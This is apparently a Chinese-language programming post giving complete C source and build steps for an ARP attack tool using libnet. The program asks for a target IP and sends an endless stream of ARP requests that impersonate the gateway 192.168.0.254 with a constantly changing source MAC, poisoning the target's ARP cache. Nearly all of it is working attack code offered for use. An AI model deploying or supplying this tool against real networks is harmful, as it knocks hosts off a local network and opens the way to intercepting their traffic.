使用libnet構造源mac持續更新的arp攻擊程序

1、開發使用的libnet的版本爲libnet-1.1.2.1，在編程之前要編譯libnet.dll。編譯libnet.dll成功之後，把libnet.lib引入庫加到vc project菜單中setting目錄下的object/library modules選項中.
2、使用VC的嚮導建立一個win32 console的空白程序，然後主程序修改如下：
// SendARP.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "win32/libnet.h"
#include "stdio.h"

#define  IPADDRMAXSIZE 16

void main(int argc, char** argv)
{
        int packet_size;
        libnet_t *l=NULL;
        libnet_ptag_t protocol_tag;
        char *device=NULL;
        char error_information[LIBNET_ERRBUF_SIZE];
       
        char *destination_ip_str;
        destination_ip_str=(char *)malloc(sizeof(char)*IPADDRMAXSIZE);
        printf("請輸入攻擊的目的主機ip：/n");
        scanf("%s",destination_ip_str);
        printf("開始攻擊：/n");

        char *source_ip_str="192.168.0.254";
        u_char hardware_destination[6]={0x00,0x00,0x00,0x00,0x00,0x00};
        u_long destination_ip;
        u_long source_ip;
        destination_ip=libnet_name2addr4(l,destination_ip_str,LIBNET_RESOLVE);
        source_ip=libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
        u_char hardware_source[6];
       
         while (1) {
                for(hardware_source[0]=0x01;hardware_source[0]<0x0e;hardware_source[0]++)
                {
                        for(hardware_source[1]=0x01;hardware_source[1]<0x0e;hardware_source[1]++)
                        {
                                for(hardware_source[2]=0x01;hardware_source[2]<0x0e;hardware_source[2]++)
                                {
                                       
                                        for(hardware_source[3]=0x01;hardware_source[3]<0x0e;hardware_source[3]++)
                                        {
                                               
                                                for(hardware_source[4]=0x01;hardware_source[4]<0x0e;hardware_source[4]++)
                                                {
                                                        l=libnet_init(LIBNET_LINK_ADV,device,error_information);
                                                        for(hardware_source[5]=0x01;hardware_source[5]<0x0e;hardware_source[5]++)
                                                        {
                                                               
                                                       
                                                                u_int16_t type=0x0806;
                                                                u_char hardware_destination_eth[6]={0xff,0xff,0xff,0xff,0xff,0xff};
                                                                // protocol_tag=libnet_autobuild_ethernet(hardware_destination_eth,ETHERTYPE_ARP,                                       l);//不要用這個函數，這個函數自動建立的以太網頭部的目的mac是全0，這樣對方主機收到之後就不會回覆arp response。
                                                                protocol_tag=libnet_build_arp(ARPHRD_ETHER,ETHERTYPE_IP,6,4,ARPOP_REQUEST,                                                        hardware_source,(u_int8_t *)&source_ip,hardware_destination,(u_int8_t *)&destination_ip,NULL,0,l,0);
                                                                protocol_tag=libnet_build_ethernet((u_int8_t *)hardware_destination_eth, (u_int8_t *)hardware_source,type,NULL,0,l,0);
                                                                packet_size=libnet_write(l);     
                                                                Sleep(10);                                                               
                                                        }       
                                                       
                                                      // printf("%s:,發送一個%d 字節長度的ARP應答數據包/n",error_information,packet_size);
                                                }
                                        }
                                }
                               
                        }
                       
                }
       
        }
       
       libnet_destroy(l);
}